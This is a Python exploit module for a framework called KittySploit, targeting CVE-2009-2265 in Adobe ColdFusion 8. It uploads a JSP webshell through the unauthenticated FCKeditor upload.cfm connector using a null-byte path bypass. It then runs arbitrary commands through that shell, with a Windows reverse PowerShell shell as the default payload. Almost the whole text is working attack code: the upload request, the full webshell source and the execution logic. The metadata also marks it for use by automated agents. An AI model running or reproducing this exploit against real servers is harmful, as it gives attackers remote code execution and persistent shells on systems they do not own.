Adobe ColdFusion CVE-2009-2265 FCKeditor upload RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Adobe ColdFusion 8 CVE-2009-2265 FCKeditor unauth upload RCE."""

from __future__ import annotations

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Adobe ColdFusion CVE-2009-2265 FCKeditor upload RCE",
        "description": (
            "CVE-2009-2265: unauthenticated FCKeditor upload.cfm with null-byte "
            "CurrentFolder bypass drops JSP under /userfiles/file/ for cmd execution."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2009-2265"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/reverse_powershell",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2009-2265",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["coldfusion", "adobe", "upload", "fckeditor", "rce", "cve-2009-2265"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["webshell", "rce", "shell"],
            "requires": {"tech_hints_any": ["coldfusion"]},
            "chain": {"suggested_followups": ["scanner/http/coldfusion_cve_2009_2265_detect"]},
        },
    }

    port = OptPort(8500, "ColdFusion HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    shell_path = OptString("/userfiles/file/exploit.jsp", "Uploaded webshell URL path", required=False)
    command = OptString("", "Command (overrides payload)", required=False)

    _JSP = (
        '<%@ page import="java.util.*,java.io.*"%>\n'
        "<%\n"
        '   String cmd = request.getParameter("cmd");\n'
        "   if (cmd != null) {\n"
        '      Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});\n'
        "      DataInputStream in = new DataInputStream(p.getInputStream());\n"
        "      String line;\n"
        "      while ((line = in.readLine()) != null) { out.println(line); }\n"
        "   }\n"
        "%>\n"
    )

    def _upload(self) -> None:
        up = (
            "/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/"
            "upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/exploit.jsp%00.jpg"
        )
        resp = self.http_request(
            "POST",
            up,
            files={"newfile": ("cmd.jsp", self._JSP.encode(), "application/octet-stream")},
        )
        text = (resp.text or "") if resp else ""
        if "OnUploadCompleted( 0" not in text:
            raise RuntimeError(f"Upload rejected: {text[:300]}")

    def execute(self, cmd: str) -> str:
        if not getattr(self, "_uploaded", False):
            self._upload()
            self._uploaded = True
        path = str(self.shell_path or "/userfiles/file/exploit.jsp")
        resp = self.http_request("GET", path, params={"cmd": cmd})
        return (resp.text or "").strip() if resp else ""

    def check(self):
        resp = self.http_request("GET", "/CFIDE/administrator/")
        body = (resp.text or "").lower() if resp else ""
        if "coldfusion" in body or "cfide" in body:
            return {"vulnerable": True, "reason": "ColdFusion CFIDE detected", "confidence": "medium"}
        return {"vulnerable": False, "reason": "ColdFusion not fingerprinted", "confidence": "low"}

    def check_execute(self):
        token = self.random_text(6)
        body = self.execute(f"echo {token}")
        return token in (body or "")

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        print_status("CVE-2009-2265 — ColdFusion FCKeditor upload")
        try:
            ok = self.check_execute()
        except RuntimeError as exc:
            print_error(str(exc))
            self.not_vulnerable()
            return False

        if not ok and not re.search(r"reverse|powershell|Invoke-", cmd, re.I):
            self.not_vulnerable()
            return False

        out = self.execute(cmd)
        if out:
            print_info(out[:4000])

        if str(self.command or "").strip():
            return self.handler_execute()
        return True